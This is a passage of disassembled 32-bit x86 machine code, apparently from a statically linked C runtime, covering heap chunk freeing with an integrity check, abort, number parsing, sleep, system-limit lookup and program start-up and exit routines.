804d6d1: 39 c1 cmp %eax,%ecx
804d6d3: 75 3c jne 0x804d711
804d6d5: 39 4a 08 cmp %ecx,0x8(%edx)
804d6d8: 75 37 jne 0x804d711
804d6da: 01 eb add %ebp,%ebx
804d6dc: 89 57 0c mov %edx,0xc(%edi)
804d6df: 89 7a 08 mov %edi,0x8(%edx)
804d6e2: 8b 6c 24 08 mov 0x8(%esp),%ebp
804d6e6: 83 e5 fc and $0xfffffffc,%ebp
804d6e9: 3b 35 6c f2 04 08 cmp 0x804f26c,%esi
804d6ef: 74 52 je 0x804d743
804d6f1: 8b 44 2e 04 mov 0x4(%esi,%ebp,1),%eax
804d6f5: 89 6e 04 mov %ebp,0x4(%esi)
804d6f8: 83 e0 01 and $0x1,%eax
804d6fb: 85 c0 test %eax,%eax
804d6fd: 75 1f jne 0x804d71e
804d6ff: 8b 56 08 mov 0x8(%esi),%edx
804d702: 8b 46 0c mov 0xc(%esi),%eax
804d705: 8b 7a 0c mov 0xc(%edx),%edi
804d708: 39 f7 cmp %esi,%edi
804d70a: 75 05 jne 0x804d711
804d70c: 39 78 08 cmp %edi,0x8(%eax)
804d70f: 74 05 je 0x804d716
804d711: e8 bb 00 00 00 call 0x804d7d1
804d716: 89 42 0c mov %eax,0xc(%edx)
804d719: 89 50 08 mov %edx,0x8(%eax)
804d71c: 01 eb add %ebp,%ebx
804d71e: a1 7c f2 04 08 mov 0x804f27c,%eax
804d723: c7 41 0c 74 f2 04 08 movl $0x804f274,0xc(%ecx)
804d72a: 89 41 08 mov %eax,0x8(%ecx)
804d72d: 89 1c 19 mov %ebx,(%ecx,%ebx,1)
804d730: 89 48 0c mov %ecx,0xc(%eax)
804d733: 89 d8 mov %ebx,%eax
804d735: 83 c8 01 or $0x1,%eax
804d738: 89 0d 7c f2 04 08 mov %ecx,0x804f27c
804d73e: 89 41 04 mov %eax,0x4(%ecx)
804d741: eb 10 jmp 0x804d753
804d743: 01 eb add %ebp,%ebx
804d745: 89 d8 mov %ebx,%eax
804d747: 83 c8 01 or $0x1,%eax
804d74a: 89 41 04 mov %eax,0x4(%ecx)
804d74d: 89 0d 6c f2 04 08 mov %ecx,0x804f26c
804d753: 81 fb ff ff 01 00 cmp $0x1ffff,%ebx
804d759: 76 5d jbe 0x804d7b8
804d75b: f6 05 40 f2 04 08 02 testb $0x2,0x804f240
804d762: 74 10 je 0x804d774
804d764: 83 ec 0c sub $0xc,%esp
804d767: 68 40 f2 04 08 push $0x804f240
804d76c: e8 1c fd ff ff call 0x804d48d
804d771: 83 c4 10 add $0x10,%esp
804d774: a1 6c f2 04 08 mov 0x804f26c,%eax
804d779: 8b 40 04 mov 0x4(%eax),%eax
804d77c: 83 e0 fc and $0xfffffffc,%eax
804d77f: 3b 05 84 f5 04 08 cmp 0x804f584,%eax
804d785: 72 31 jb 0x804d7b8
804d787: ba 40 f2 04 08 mov $0x804f240,%edx
804d78c: a1 88 f5 04 08 mov 0x804f588,%eax
804d791: e8 6a fc ff ff call 0x804d400
804d796: eb 20 jmp 0x804d7b8
804d798: 8b 57 f8 mov -0x8(%edi),%edx
804d79b: ff 0d 90 f5 04 08 decl 0x804f590
804d7a1: 8d 04 13 lea (%ebx,%edx,1),%eax
804d7a4: 29 d1 sub %edx,%ecx
804d7a6: 53 push %ebx
804d7a7: 53 push %ebx
804d7a8: 50 push %eax
804d7a9: 51 push %ecx
804d7aa: 29 05 a4 f5 04 08 sub %eax,0x804f5a4
804d7b0: e8 4c 0d 00 00 call 0x804e501
804d7b5: 83 c4 10 add $0x10,%esp
804d7b8: 50 push %eax
804d7b9: 50 push %eax
804d7ba: 6a 01 push $0x1
804d7bc: 8d 44 24 18 lea 0x18(%esp),%eax
804d7c0: 50 push %eax
804d7c1: e8 d6 05 00 00 call 0x804dd9c
804d7c6: 83 c4 10 add $0x10,%esp
804d7c9: 83 c4 1c add $0x1c,%esp
804d7cc: 5b pop %ebx
804d7cd: 5e pop %esi
804d7ce: 5f pop %edi
804d7cf: 5d pop %ebp
804d7d0: c3 ret
804d7d1: 53 push %ebx
804d7d2: 81 ec 24 01 00 00 sub $0x124,%esp
804d7d8: 68 50 f0 04 08 push $0x804f050
804d7dd: e8 b7 05 00 00 call 0x804dd99
804d7e2: b8 20 00 00 00 mov $0x20,%eax
804d7e7: 83 c4 10 add $0x10,%esp
804d7ea: eb 0b jmp 0x804d7f7
804d7ec: c7 84 84 98 00 00 00 movl $0x0,0x98(%esp,%eax,4)
804d7f3: 00 00 00 00
804d7f7: 48 dec %eax
804d7f8: 79 f2 jns 0x804d7ec
804d7fa: 53 push %ebx
804d7fb: 53 push %ebx
804d7fc: 6a 06 push $0x6
804d7fe: 8d 9c 24 a4 00 00 00 lea 0xa4(%esp),%ebx
804d805: 53 push %ebx
804d806: e8 9f 0f 00 00 call 0x804e7aa
804d80b: 83 c4 10 add $0x10,%esp
804d80e: 85 c0 test %eax,%eax
804d810: 75 0e jne 0x804d820
804d812: 51 push %ecx
804d813: 6a 00 push $0x0
804d815: 53 push %ebx
804d816: 6a 01 push $0x1
804d818: e8 96 0d 00 00 call 0x804e5b3
804d81d: 83 c4 10 add $0x10,%esp
804d820: 80 3d e0 f0 04 08 00 cmpb $0x0,0x804f0e0
804d827: 75 2f jne 0x804d858
804d829: c6 05 e0 f0 04 08 01 movb $0x1,0x804f0e0
804d830: 83 ec 0c sub $0xc,%esp
804d833: 68 50 f0 04 08 push $0x804f050
804d838: e8 5c 05 00 00 call 0x804dd99
804d83d: c7 04 24 06 00 00 00 movl $0x6,(%esp)
804d844: e8 25 0f 00 00 call 0x804e76e
804d849: c7 04 24 50 f0 04 08 movl $0x804f050,(%esp)
804d850: e8 44 05 00 00 call 0x804dd99
804d855: 83 c4 10 add $0x10,%esp
804d858: a0 e0 f0 04 08 mov 0x804f0e0,%al
804d85d: 3c 01 cmp $0x1,%al
804d85f: 75 58 jne 0x804d8b9
804d861: 52 push %edx
804d862: 68 8c 00 00 00 push $0x8c
804d867: 6a 00 push $0x0
804d869: c6 05 e0 f0 04 08 02 movb $0x2,0x804f0e0
804d870: 8d 44 24 18 lea 0x18(%esp),%eax
804d874: 50 push %eax
804d875: e8 8d ed ff ff call 0x804c607
804d87a: c7 44 24 1c 00 00 00 movl $0x0,0x1c(%esp)
804d881: 00
804d882: b8 20 00 00 00 mov $0x20,%eax
804d887: 83 c4 10 add $0x10,%esp
804d88a: eb 08 jmp 0x804d894
804d88c: c7 44 84 10 ff ff ff movl $0xffffffff,0x10(%esp,%eax,4)
804d893: ff
804d894: 48 dec %eax
804d895: 79 f5 jns 0x804d88c
804d897: c7 84 24 90 00 00 00 movl $0x0,0x90(%esp)
804d89e: 00 00 00 00
804d8a2: 50 push %eax
804d8a3: 6a 00 push $0x0
804d8a5: 8d 44 24 14 lea 0x14(%esp),%eax
804d8a9: 50 push %eax
804d8aa: 6a 06 push $0x6
804d8ac: e8 2a 07 00 00 call 0x804dfdb
804d8b1: 83 c4 10 add $0x10,%esp
804d8b4: e9 77 ff ff ff jmp 0x804d830
804d8b9: 3c 02 cmp $0x2,%al
804d8bb: 75 08 jne 0x804d8c5
804d8bd: c6 05 e0 f0 04 08 03 movb $0x3,0x804f0e0
804d8c4: f4 hlt
804d8c5: 80 3d e0 f0 04 08 03 cmpb $0x3,0x804f0e0
804d8cc: 75 11 jne 0x804d8df
804d8ce: 83 ec 0c sub $0xc,%esp
804d8d1: c6 05 e0 f0 04 08 04 movb $0x4,0x804f0e0
804d8d8: 6a 7f push $0x7f
804d8da: e8 5d 08 00 00 call 0x804e13c
804d8df: f4 hlt
804d8e0: eb fd jmp 0x804d8df
804d8e2: 83 ec 10 sub $0x10,%esp
804d8e5: 6a 0a push $0xa
804d8e7: 6a 00 push $0x0
804d8e9: ff 74 24 1c pushl 0x1c(%esp)
804d8ed: e8 04 00 00 00 call 0x804d8f6
804d8f2: 83 c4 1c add $0x1c,%esp
804d8f5: c3 ret
804d8f6: 83 ec 0c sub $0xc,%esp
804d8f9: 6a 01 push $0x1
804d8fb: ff 74 24 1c pushl 0x1c(%esp)
804d8ff: ff 74 24 1c pushl 0x1c(%esp)
804d903: ff 74 24 1c pushl 0x1c(%esp)
804d907: e8 04 00 00 00 call 0x804d910
804d90c: 83 c4 1c add $0x1c,%esp
804d90f: c3 ret
804d910: 55 push %ebp
804d911: 57 push %edi
804d912: 56 push %esi
804d913: 53 push %ebx
804d914: 83 ec 0c sub $0xc,%esp
804d917: 8b 15 84 f0 04 08 mov 0x804f084,%edx
804d91d: 8b 4c 24 20 mov 0x20(%esp),%ecx
804d921: 8b 74 24 28 mov 0x28(%esp),%esi
804d925: 89 cb mov %ecx,%ebx
804d927: eb 01 jmp 0x804d92a
804d929: 43 inc %ebx
804d92a: 0f be 03 movsbl (%ebx),%eax
804d92d: f6 04 42 20 testb $0x20,(%edx,%eax,2)
804d931: 75 f6 jne 0x804d929
804d933: 83 f8 2b cmp $0x2b,%eax
804d936: 74 0e je 0x804d946
804d938: 31 ed xor %ebp,%ebp
804d93a: 83 f8 2d cmp $0x2d,%eax
804d93d: 75 0a jne 0x804d949
804d93f: bd 01 00 00 00 mov $0x1,%ebp
804d944: eb 02 jmp 0x804d948
804d946: 31 ed xor %ebp,%ebp
804d948: 43 inc %ebx
804d949: 89 cf mov %ecx,%edi
804d94b: f7 c6 ef ff ff ff test $0xffffffef,%esi
804d951: 75 24 jne 0x804d977
804d953: 83 c6 0a add $0xa,%esi
804d956: 80 3b 30 cmpb $0x30,(%ebx)
804d959: 75 12 jne 0x804d96d
804d95b: 43 inc %ebx
804d95c: 83 ee 02 sub $0x2,%esi
804d95f: 89 df mov %ebx,%edi
804d961: 8a 03 mov (%ebx),%al
804d963: 83 c8 20 or $0x20,%eax
804d966: 3c 78 cmp $0x78,%al
804d968: 75 03 jne 0x804d96d
804d96a: 01 f6 add %esi,%esi
804d96c: 43 inc %ebx
804d96d: 83 fe 10 cmp $0x10,%esi
804d970: 7e 05 jle 0x804d977
804d972: be 10 00 00 00 mov $0x10,%esi
804d977: 8d 46 fe lea -0x2(%esi),%eax
804d97a: 31 d2 xor %edx,%edx
804d97c: 83 f8 22 cmp $0x22,%eax
804d97f: 77 61 ja 0x804d9e2
804d981: 83 c8 ff or $0xffffffff,%eax
804d984: 31 d2 xor %edx,%edx
804d986: f7 f6 div %esi
804d988: 88 54 24 0b mov %dl,0xb(%esp)
804d98c: 31 d2 xor %edx,%edx
804d98e: 89 44 24 04 mov %eax,0x4(%esp)
804d992: eb 02 jmp 0x804d996
804d994: 89 df mov %ebx,%edi
804d996: 8a 03 mov (%ebx),%al
804d998: 8d 48 d0 lea -0x30(%eax),%ecx
804d99b: 80 f9 09 cmp $0x9,%cl
804d99e: 76 0c jbe 0x804d9ac
804d9a0: 83 c8 20 or $0x20,%eax
804d9a3: b1 28 mov $0x28,%cl
804d9a5: 3c 60 cmp $0x60,%al
804d9a7: 76 03 jbe 0x804d9ac
804d9a9: 8d 48 a9 lea -0x57(%eax),%ecx
804d9ac: 0f b6 c1 movzbl %cl,%eax
804d9af: 39 f0 cmp %esi,%eax
804d9b1: 7d 2f jge 0x804d9e2
804d9b3: 43 inc %ebx
804d9b4: 3b 54 24 04 cmp 0x4(%esp),%edx
804d9b8: 77 08 ja 0x804d9c2
804d9ba: 75 1c jne 0x804d9d8
804d9bc: 3a 4c 24 0b cmp 0xb(%esp),%cl
804d9c0: 76 16 jbe 0x804d9d8
804d9c2: 8a 44 24 2c mov 0x2c(%esp),%al
804d9c6: 21 c5 and %eax,%ebp
804d9c8: e8 e9 eb ff ff call 0x804c5b6
804d9cd: 83 ca ff or $0xffffffff,%edx
804d9d0: c7 00 22 00 00 00 movl $0x22,(%eax)
804d9d6: eb bc jmp 0x804d994
804d9d8: 0f af d6 imul %esi,%edx
804d9db: 0f b6 c1 movzbl %cl,%eax
804d9de: 01 c2 add %eax,%edx
804d9e0: eb b2 jmp 0x804d994
804d9e2: 83 7c 24 24 00 cmpl $0x0,0x24(%esp)
804d9e7: 74 06 je 0x804d9ef
804d9e9: 8b 44 24 24 mov 0x24(%esp),%eax
804d9ed: 89 38 mov %edi,(%eax)
804d9ef: 89 e8 mov %ebp,%eax
804d9f1: 3c 01 cmp $0x1,%al
804d9f3: 19 db sbb %ebx,%ebx
804d9f5: 81 eb 00 00 00 80 sub $0x80000000,%ebx
804d9fb: 83 7c 24 2c 00 cmpl $0x0,0x2c(%esp)
804da00: 74 11 je 0x804da13
804da02: 39 da cmp %ebx,%edx
804da04: 76 0d jbe 0x804da13
804da06: e8 ab eb ff ff call 0x804c5b6
804da0b: 89 da mov %ebx,%edx
804da0d: c7 00 22 00 00 00 movl $0x22,(%eax)
804da13: 89 e8 mov %ebp,%eax
804da15: 84 c0 test %al,%al
804da17: 74 02 je 0x804da1b
804da19: f7 da neg %edx
804da1b: 83 c4 0c add $0xc,%esp
804da1e: 89 d0 mov %edx,%eax
804da20: 5b pop %ebx
804da21: 5e pop %esi
804da22: 5f pop %edi
804da23: 5d pop %ebp
804da24: c3 ret
804da25: 56 push %esi
804da26: 53 push %ebx
804da27: 83 ec 18 sub $0x18,%esp
804da2a: 8b 74 24 24 mov 0x24(%esp),%esi
804da2e: 68 68 f0 04 08 push $0x804f068
804da33: 68 99 dd 04 08 push $0x804dd99
804da38: 8d 5c 24 10 lea 0x10(%esp),%ebx
804da3c: 53 push %ebx
804da3d: e8 5a 03 00 00 call 0x804dd9c
804da42: c7 04 24 68 f0 04 08 movl $0x804f068,(%esp)
804da49: e8 4b 03 00 00 call 0x804dd99
804da4e: a1 e4 f0 04 08 mov 0x804f0e4,%eax
804da53: 83 c4 10 add $0x10,%esp
804da56: 85 c0 test %eax,%eax
804da58: 74 09 je 0x804da63
804da5a: 83 ec 0c sub $0xc,%esp
804da5d: 56 push %esi
804da5e: ff d0 call *%eax
804da60: 83 c4 10 add $0x10,%esp
804da63: 50 push %eax
804da64: 50 push %eax
804da65: 6a 01 push $0x1
804da67: 53 push %ebx
804da68: e8 2f 03 00 00 call 0x804dd9c
804da6d: e8 e8 02 00 00 call 0x804dd5a
804da72: b8 00 00 00 00 mov $0x0,%eax
804da77: 83 c4 10 add $0x10,%esp
804da7a: 85 c0 test %eax,%eax
804da7c: 74 05 je 0x804da83
804da7e: e8 7d 25 fb f7 call 0x0
804da83: 83 ec 0c sub $0xc,%esp
804da86: 56 push %esi
804da87: e8 b0 06 00 00 call 0x804e13c
804da8c: 55 push %ebp
804da8d: 57 push %edi
804da8e: 56 push %esi
804da8f: 53 push %ebx
804da90: 81 ec ac 01 00 00 sub $0x1ac,%esp
804da96: b8 20 00 00 00 mov $0x20,%eax
804da9b: 8b 94 24 c0 01 00 00 mov 0x1c0(%esp),%edx
804daa2: 85 d2 test %edx,%edx
804daa4: 75 10 jne 0x804dab6
804daa6: e9 58 01 00 00 jmp 0x804dc03
804daab: c7 84 84 24 01 00 00 movl $0x0,0x124(%esp,%eax,4)
804dab2: 00 00 00 00
804dab6: 48 dec %eax
804dab7: 79 f2 jns 0x804daab
804dab9: c7 84 24 a8 01 00 00 movl $0x0,0x1a8(%esp)
804dac0: 00 00 00 00
804dac4: 89 94 24 a4 01 00 00 mov %edx,0x1a4(%esp)
804dacb: 50 push %eax
804dacc: 50 push %eax
804dacd: 6a 11 push $0x11
804dacf: 8d 9c 24 30 01 00 00 lea 0x130(%esp),%ebx
804dad6: 53 push %ebx
804dad7: e8 ce 0c 00 00 call 0x804e7aa
804dadc: 83 c4 10 add $0x10,%esp
804dadf: 85 c0 test %eax,%eax
804dae1: 0f 88 20 01 00 00 js 0x804dc07
804dae7: 50 push %eax
804dae8: 8d b4 24 a8 00 00 00 lea 0xa8(%esp),%esi
804daef: 56 push %esi
804daf0: 53 push %ebx
804daf1: 6a 00 push $0x0
804daf3: e8 bb 0a 00 00 call 0x804e5b3
804daf8: 83 c4 10 add $0x10,%esp
804dafb: 85 c0 test %eax,%eax
804dafd: 0f 85 04 01 00 00 jne 0x804dc07
804db03: 50 push %eax
804db04: 50 push %eax
804db05: 6a 11 push $0x11
804db07: 56 push %esi
804db08: e8 79 0c 00 00 call 0x804e786
804db0d: 83 c4 10 add $0x10,%esp
804db10: ba 20 00 00 00 mov $0x20,%edx
804db15: 85 c0 test %eax,%eax
804db17: 74 10 je 0x804db29
804db19: e9 b3 00 00 00 jmp 0x804dbd1
804db1e: c7 84 94 24 01 00 00 movl $0x0,0x124(%esp,%edx,4)
804db25: 00 00 00 00
804db29: 4a dec %edx
804db2a: 79 f2 jns 0x804db1e
804db2c: 50 push %eax
804db2d: 50 push %eax
804db2e: 6a 11 push $0x11
804db30: 8d 84 24 30 01 00 00 lea 0x130(%esp),%eax
804db37: 50 push %eax
804db38: e8 6d 0c 00 00 call 0x804e7aa
804db3d: 83 c4 10 add $0x10,%esp
804db40: 85 c0 test %eax,%eax
804db42: 0f 88 bf 00 00 00 js 0x804dc07
804db48: 50 push %eax
804db49: 8d 44 24 1c lea 0x1c(%esp),%eax
804db4d: 50 push %eax
804db4e: 6a 00 push $0x0
804db50: 6a 11 push $0x11
804db52: e8 84 04 00 00 call 0x804dfdb
804db57: 83 c4 10 add $0x10,%esp
804db5a: 85 c0 test %eax,%eax
804db5c: 79 28 jns 0x804db86
804db5e: e8 53 ea ff ff call 0x804c5b6
804db63: 89 c3 mov %eax,%ebx
804db65: 8b 30 mov (%eax),%esi
804db67: 55 push %ebp
804db68: 6a 00 push $0x0
804db6a: 8d 84 24 ac 00 00 00 lea 0xac(%esp),%eax
804db71: 50 push %eax
804db72: 6a 02 push $0x2
804db74: e8 3a 0a 00 00 call 0x804e5b3
804db79: 83 c8 ff or $0xffffffff,%eax
804db7c: 83 c4 10 add $0x10,%esp
804db7f: 89 33 mov %esi,(%ebx)
804db81: e9 84 00 00 00 jmp 0x804dc0a
804db86: 83 7c 24 18 01 cmpl $0x1,0x18(%esp)
804db8b: 8d ac 24 a4 00 00 00 lea 0xa4(%esp),%ebp
804db92: 8d 9c 24 a4 01 00 00 lea 0x1a4(%esp),%ebx
804db99: 75 25 jne 0x804dbc0
804db9b: 57 push %edi
804db9c: 57 push %edi
804db9d: 53 push %ebx
804db9e: 53 push %ebx
804db9f: e8 8f 09 00 00 call 0x804e533
804dba4: 89 c7 mov %eax,%edi
804dba6: e8 0b ea ff ff call 0x804c5b6
804dbab: 83 c4 0c add $0xc,%esp
804dbae: 89 c3 mov %eax,%ebx
804dbb0: 8b 30 mov (%eax),%esi
804dbb2: 6a 00 push $0x0
804dbb4: 55 push %ebp
804dbb5: 6a 02 push $0x2
804dbb7: e8 f7 09 00 00 call 0x804e5b3
804dbbc: 89 33 mov %esi,(%ebx)
804dbbe: eb 23 jmp 0x804dbe3
804dbc0: 56 push %esi
804dbc1: 6a 00 push $0x0
804dbc3: 55 push %ebp
804dbc4: 6a 02 push $0x2
804dbc6: e8 e8 09 00 00 call 0x804e5b3
804dbcb: 5a pop %edx
804dbcc: 59 pop %ecx
804dbcd: 53 push %ebx
804dbce: 53 push %ebx
804dbcf: eb 0b jmp 0x804dbdc
804dbd1: 50 push %eax
804dbd2: 50 push %eax
804dbd3: 8d 84 24 ac 01 00 00 lea 0x1ac(%esp),%eax
804dbda: 50 push %eax
804dbdb: 50 push %eax
804dbdc: e8 52 09 00 00 call 0x804e533
804dbe1: 89 c7 mov %eax,%edi
804dbe3: 83 c4 10 add $0x10,%esp
804dbe6: 85 ff test %edi,%edi
804dbe8: 74 19 je 0x804dc03
804dbea: 31 c0 xor %eax,%eax
804dbec: 81 bc 24 a8 01 00 00 cmpl $0x1dcd64ff,0x1a8(%esp)
804dbf3: ff 64 cd 1d
804dbf7: 0f 9f c0 setg %al
804dbfa: 03 84 24 a4 01 00 00 add 0x1a4(%esp),%eax
804dc01: eb 07 jmp 0x804dc0a
804dc03: 31 c0 xor %eax,%eax
804dc05: eb 03 jmp 0x804dc0a
804dc07: 83 c8 ff or $0xffffffff,%eax
804dc0a: 81 c4 ac 01 00 00 add $0x1ac,%esp
804dc10: 5b pop %ebx
804dc11: 5e pop %esi
804dc12: 5f pop %edi
804dc13: 5d pop %ebp
804dc14: c3 ret
804dc15: 83 ec 0c sub $0xc,%esp
804dc18: 8b 44 24 10 mov 0x10(%esp),%eax
804dc1c: 3d 95 00 00 00 cmp $0x95,%eax
804dc21: 77 11 ja 0x804dc34
804dc23: ff 24 85 0c ea 04 08 jmp *0x804ea0c(,%eax,4)
804dc2a: b8 01 00 00 00 mov $0x1,%eax
804dc2f: e9 22 01 00 00 jmp 0x804dd56
804dc34: e8 7d e9 ff ff call 0x804c5b6
804dc39: c7 00 16 00 00 00 movl $0x16,(%eax)
804dc3f: e9 e5 00 00 00 jmp 0x804dd29
804dc44: b8 00 00 02 00 mov $0x20000,%eax
804dc49: e9 08 01 00 00 jmp 0x804dd56
804dc4e: b8 64 00 00 00 mov $0x64,%eax
804dc53: e9 fe 00 00 00 jmp 0x804dd56
804dc58: b8 00 00 01 00 mov $0x10000,%eax
804dc5d: e9 f4 00 00 00 jmp 0x804dd56
804dc62: 83 c4 0c add $0xc,%esp
804dc65: e9 f7 06 00 00 jmp 0x804e361
804dc6a: b8 06 00 00 00 mov $0x6,%eax
804dc6f: e9 e2 00 00 00 jmp 0x804dd56
804dc74: 83 c4 0c add $0xc,%esp
804dc77: e9 7c 07 00 00 jmp 0x804e3f8
804dc7c: b8 00 80 00 00 mov $0x8000,%eax
804dc81: e9 d0 00 00 00 jmp 0x804dd56
804dc86: b8 e8 03 00 00 mov $0x3e8,%eax
804dc8b: e9 c6 00 00 00 jmp 0x804dd56
804dc90: b8 00 40 00 00 mov $0x4000,%eax
804dc95: e9 bc 00 00 00 jmp 0x804dd56
804dc9a: b8 00 10 00 00 mov $0x1000,%eax
804dc9f: e9 b2 00 00 00 jmp 0x804dd56
804dca4: b8 f4 01 00 00 mov $0x1f4,%eax
804dca9: e9 a8 00 00 00 jmp 0x804dd56
804dcae: b8 08 00 00 00 mov $0x8,%eax
804dcb3: e9 9e 00 00 00 jmp 0x804dd56
804dcb8: b8 00 00 00 80 mov $0x80000000,%eax
804dcbd: e9 94 00 00 00 jmp 0x804dd56
804dcc2: b8 00 80 ff ff mov $0xffff8000,%eax
804dcc7: e9 8a 00 00 00 jmp 0x804dd56
804dccc: b8 ff ff 00 00 mov $0xffff,%eax
804dcd1: e9 80 00 00 00 jmp 0x804dd56
804dcd6: b8 09 00 00 00 mov $0x9,%eax
804dcdb: eb 79 jmp 0x804dd56
804dcdd: 50 push %eax
804dcde: 50 push %eax
804dcdf: 6a 00 push $0x0
804dce1: 6a 01 push $0x1
804dce3: e8 7c 04 00 00 call 0x804e164
804dce8: 83 c4 10 add $0x10,%esp
804dceb: 85 c0 test %eax,%eax
804dced: 79 10 jns 0x804dcff
804dcef: eb 38 jmp 0x804dd29
804dcf1: b8 7f 00 00 00 mov $0x7f,%eax
804dcf6: eb 5e jmp 0x804dd56
804dcf8: b8 10 00 00 00 mov $0x10,%eax
804dcfd: eb 57 jmp 0x804dd56
804dcff: b8 b0 0d 03 00 mov $0x30db0,%eax
804dd04: eb 50 jmp 0x804dd56
804dd06: b8 ff ff ff 7f mov $0x7fffffff,%eax
804dd0b: eb 49 jmp 0x804dd56
804dd0d: b8 00 01 00 00 mov $0x100,%eax
804dd12: eb 42 jmp 0x804dd56
804dd14: b8 20 00 00 00 mov $0x20,%eax
804dd19: eb 3b jmp 0x804dd56
804dd1b: b8 04 00 00 00 mov $0x4,%eax
804dd20: eb 34 jmp 0x804dd56
804dd22: b8 00 04 00 00 mov $0x400,%eax
804dd27: eb 2d jmp 0x804dd56
804dd29: 83 c8 ff or $0xffffffff,%eax
804dd2c: eb 28 jmp 0x804dd56
804dd2e: b8 80 ff ff ff mov $0xffffff80,%eax
804dd33: eb 21 jmp 0x804dd56
804dd35: b8 14 00 00 00 mov $0x14,%eax
804dd3a: eb 1a jmp 0x804dd56
804dd3c: b8 63 00 00 00 mov $0x63,%eax
804dd41: eb 13 jmp 0x804dd56
804dd43: b8 00 08 00 00 mov $0x800,%eax
804dd48: eb 0c jmp 0x804dd56
804dd4a: b8 ff 00 00 00 mov $0xff,%eax
804dd4f: eb 05 jmp 0x804dd56
804dd51: b8 ff 7f 00 00 mov $0x7fff,%eax
804dd56: 83 c4 0c add $0xc,%esp
804dd59: c3 ret
804dd5a: 53 push %ebx
804dd5b: bb 00 f0 04 08 mov $0x804f000,%ebx
804dd60: 81 eb 00 f0 04 08 sub $0x804f000,%ebx
804dd66: 83 ec 08 sub $0x8,%esp
804dd69: c1 fb 02 sar $0x2,%ebx
804dd6c: eb 07 jmp 0x804dd75
804dd6e: ff 14 9d 00 f0 04 08 call *0x804f000(,%ebx,4)
804dd75: 4b dec %ebx
804dd76: 83 fb ff cmp $0xffffffff,%ebx
804dd79: 75 f3 jne 0x804dd6e
804dd7b: a1 f4 f0 04 08 mov 0x804f0f4,%eax
804dd80: 85 c0 test %eax,%eax
804dd82: 74 02 je 0x804dd86
804dd84: ff d0 call *%eax
804dd86: 8b 0d f8 f0 04 08 mov 0x804f0f8,%ecx
804dd8c: 85 c9 test %ecx,%ecx
804dd8e: 74 05 je 0x804dd95
804dd90: 5b pop %ebx
804dd91: 58 pop %eax
804dd92: 5b pop %ebx
804dd93: ff e1 jmp *%ecx
804dd95: 58 pop %eax
804dd96: 5a pop %edx
804dd97: 5b pop %ebx
804dd98: c3 ret
804dd99: 31 c0 xor %eax,%eax
804dd9b: c3 ret
804dd9c: c3 ret
804dd9d: 56 push %esi
804dd9e: 53 push %ebx
804dd9f: 83 ec 0c sub $0xc,%esp
804dda2: 89 c6 mov %eax,%esi
804dda4: 89 d3 mov %edx,%ebx
804dda6: 6a 01 push $0x1
804dda8: 50 push %eax
804dda9: e8 8f e2 ff ff call 0x804c03d
804ddae: 83 c4 10 add $0x10,%esp
804ddb1: 40 inc %eax
804ddb2: 75 19 jne 0x804ddcd
804ddb4: 50 push %eax
804ddb5: 50 push %eax
804ddb6: 53 push %ebx
804ddb7: 68 64 ec 04 08 push $0x804ec64
804ddbc: e8 23 e4 ff ff call 0x804c1e4
804ddc1: 83 c4 10 add $0x10,%esp
804ddc4: 39 f0 cmp %esi,%eax
804ddc6: 74 05 je 0x804ddcd
804ddc8: e8 04 fa ff ff call 0x804d7d1
804ddcd: 58 pop %eax
804ddce: 5b pop %ebx
804ddcf: 5e pop %esi
804ddd0: c3 ret
804ddd1: 83 ec 0c sub $0xc,%esp
804ddd4: 80 3d fc f0 04 08 00 cmpb $0x0,0x804f0fc
804dddb: 75 30 jne 0x804de0d
804dddd: b8 00 00 00 00 mov $0x0,%eax
804dde2: c6 05 fc f0 04 08 01 movb $0x1,0x804f0fc
804dde9: c7 05 f0 f0 04 08 00 movl $0x1000,0x804f0f0
804ddf0: 10 00 00
804ddf3: 85 c0 test %eax,%eax
804ddf5: 74 05 je 0x804ddfc
804ddf7: e8 04 22 fb f7 call 0x0
804ddfc: b8 00 00 00 00 mov $0x0,%eax
804de01: 85 c0 test %eax,%eax
804de03: 74 08 je 0x804de0d
804de05: 83 c4 0c add $0xc,%esp
804de08: e9 f3 21 fb f7 jmp 0x0
804de0d: 83 c4 0c add $0xc,%esp
804de10: c3 ret
804de11: 55 push %ebp
804de12: 57 push %edi
804de13: 56 push %esi
804de14: 53 push %ebx
804de15: 81 ec 8c 00 00 00 sub $0x8c,%esp
804de1b: 8b 84 24 b8 00 00 00 mov 0xb8(%esp),%eax
804de22: 8b bc 24 a8 00 00 00 mov 0xa8(%esp),%edi
804de29: a3 e8 f0 04 08 mov %eax,0x804f0e8
804de2e: 8b 84 24 b4 00 00 00 mov 0xb4(%esp),%eax
804de35: a3 f8 f0 04 08 mov %eax,0x804f0f8
804de3a: 8b 84 24 a4 00 00 00 mov 0xa4(%esp),%eax
804de41: 8b ac 24 ac 00 00 00 mov 0xac(%esp),%ebp
804de48: 8d 14 87 lea (%edi,%eax,4),%edx
804de4b: 8d 42 04 lea 0x4(%edx),%eax
804de4e: a3 ec f0 04 08 mov %eax,0x804f0ec
804de53: 3b 07 cmp (%edi),%eax
804de55: 75 06 jne 0x804de5d
804de57: 89 15 ec f0 04 08 mov %edx,0x804f0ec
804de5d: 51 push %ecx
804de5e: 6a 78 push $0x78
804de60: 6a 00 push $0x0
804de62: 8d 44 24 20 lea 0x20(%esp),%eax
804de66: 50 push %eax
804de67: e8 9b e7 ff ff call 0x804c607
804de6c: a1 ec f0 04 08 mov 0x804f0ec,%eax
804de71: 83 c4 10 add $0x10,%esp
804de74: 83 38 00 cmpl $0x0,(%eax)
804de77: 8d 40 04 lea 0x4(%eax),%eax
804de7a: 75 f8 jne 0x804de74
804de7c: 89 c3 mov %eax,%ebx
804de7e: eb 1b jmp 0x804de9b
804de80: 8b 03 mov (%ebx),%eax
804de82: 83 f8 0e cmp $0xe,%eax
804de85: 77 11 ja 0x804de98
804de87: 52 push %edx
804de88: 6a 08 push $0x8
804de8a: 53 push %ebx
804de8b: 8d 44 c4 20 lea 0x20(%esp,%eax,8),%eax
804de8f: 50 push %eax
804de90: e8 1e 08 00 00 call 0x804e6b3
804de95: 83 c4 10 add $0x10,%esp
804de98: 83 c3 08 add $0x8,%ebx
804de9b: 83 3b 00 cmpl $0x0,(%ebx)
804de9e: 75 e0 jne 0x804de80
804dea0: 8d 44 24 14 lea 0x14(%esp),%eax
804dea4: e8 21 09 00 00 call 0x804e7ca
804dea9: e8 23 ff ff ff call 0x804ddd1
804deae: 8b 44 24 48 mov 0x48(%esp),%eax
804deb2: 85 c0 test %eax,%eax
804deb4: 75 04 jne 0x804deba
804deb6: 66 b8 00 10 mov $0x1000,%ax
